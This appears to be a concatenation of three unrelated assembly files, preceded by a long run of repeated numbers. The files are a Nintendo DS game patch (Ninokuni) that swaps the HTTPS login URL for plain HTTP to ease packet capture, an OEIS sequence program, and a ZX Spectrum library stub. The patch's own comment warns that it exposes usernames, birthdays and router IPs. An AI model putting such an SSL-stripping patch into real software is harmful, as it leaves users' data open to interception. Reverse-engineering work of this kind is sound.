32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
Assembly/Wi-Fi/nossl_18.asm
WildGenie/Ninokuni
14
20649
;;----------------------------------------------------------------------------;; ;; Force to use HTTP (without SSL encryption layer) easier to capture packets ;; Copyright 2015 <NAME> (aka pleonex) ;; ;; Licensed under the Apache License, Version 2.0 (the "License"); ;; you may not use this file except in compliance with the License. ;; You may obtain a copy of the License at ;; ;; http://www.apache.org/licenses/LICENSE-2.0 ;; ;; Unless required by applicable law or agreed to in writing, software ;; distributed under the License is distributed on an "AS IS" BASIS, ;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ;; See the License for the specific language governing permissions and ;; limitations under the License. ;;----------------------------------------------------------------------------;; ; WARNING: THIS DISABLE THE SECURE MECHANISM. EVERYONE WILL BE ABLE ; TO VIEW THE COMMUNICATION LIKE USERNAME, BIRTHDAY AND ROUTER IP. .org 0x020D0A00 + 0x00024E5C .db "http://nas.nintendowifi.net/a", 0x00
oeis/080/A080940.asm
neoneye/loda-programs
11
29537
<reponame>neoneye/loda-programs ; A080940: Smallest proper divisor of n which is a suffix of n in binary representation; a(n) = 0 if no such divisor exists. ; 0,0,1,0,1,2,1,0,1,2,1,4,1,2,1,0,1,2,1,4,1,2,1,8,1,2,1,4,1,2,1,0,1,2,1,4,1,2,1,8,1,2,1,4,1,2,1,16,1,2,1,4,1,2,1,8,1,2,1,4,1,2,1,0,1,2,1,4,1,2,1,8,1,2,1,4,1,2,1,16,1,2,1,4,1,2,1,8,1,2,1,4,1,2,1,32,1,2,1,4 mov $1,$0 add $1,1 mov $2,2 pow $2,$0 gcd $2,$1 mod $2,$1 mov $0,$2
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_saddr2px.asm
teknoplop/z88dk
0
84771
; uint zx_saddr2px(void *saddr) SECTION code_clib SECTION code_arch PUBLIC zx_saddr2px EXTERN asm_zx_saddr2px defc zx_saddr2px = asm_zx_saddr2px